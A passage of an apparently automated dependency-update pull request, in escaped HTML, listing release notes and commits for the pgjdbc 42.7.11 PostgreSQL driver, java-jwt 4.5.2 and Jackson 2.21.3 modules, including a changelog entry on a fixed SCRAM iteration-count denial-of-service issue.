href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.auth0:java-jwt` from 4.5.1 to 4.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/releases\"\u003ecom.auth0:java-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.5.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md\"\u003ecom.auth0:java-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/auth0/java-jwt/tree/4.5.2\"\u003e4.5.2\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003eFull Changelog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/695fd2bea64b8466b872a9d0c2e7019fee7ac86f\"\u003e\u003ccode\u003e695fd2b\u003c/code\u003e\u003c/a\u003e Release 4.5.2 (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/765\"\u003e#765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/4ac31787e2bb264d346ddb51b54ce4893d51eb18\"\u003e\u003ccode\u003e4ac3178\u003c/code\u003e\u003c/a\u003e Release 4.5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/d056a79e402d6d6c667a1d5fe9233dd87240da1c\"\u003e\u003ccode\u003ed056a79\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind from 2.21.2 to 2.21.3 in /li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/37f195a954cce32abd4b4eb212e8b7695781c2bb\"\u003e\u003ccode\u003e37f195a\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind in /lib\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/dba4c93e2ef37b82b45776d41f8dcbc24df8335a\"\u003e\u003ccode\u003edba4c93\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/761\"\u003e#761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/84d4c8f383ae7c06e0e53f5bd7d84324ad3bcad9\"\u003e\u003ccode\u003e84d4c8f\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/bump-commons-beanutils\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/5c923d4981ba39c18d530ba3e155c314b6cfd4e1\"\u003e\u003ccode\u003e5c923d4\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/762\"\u003e#762\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/09a4da58242a52bd937c7ac1b2914adc8a80e73c\"\u003e\u003ccode\u003e09a4da5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/add-sca-scan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/ef47e64ba46e5bb39abc68ddbfcd49f61cac4ec7\"\u003e\u003ccode\u003eef47e64\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/3fcfbcb3bed8a66ddb37be63bb3cfea7b873312b\"\u003e\u003ccode\u003e3fcfbcb\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare 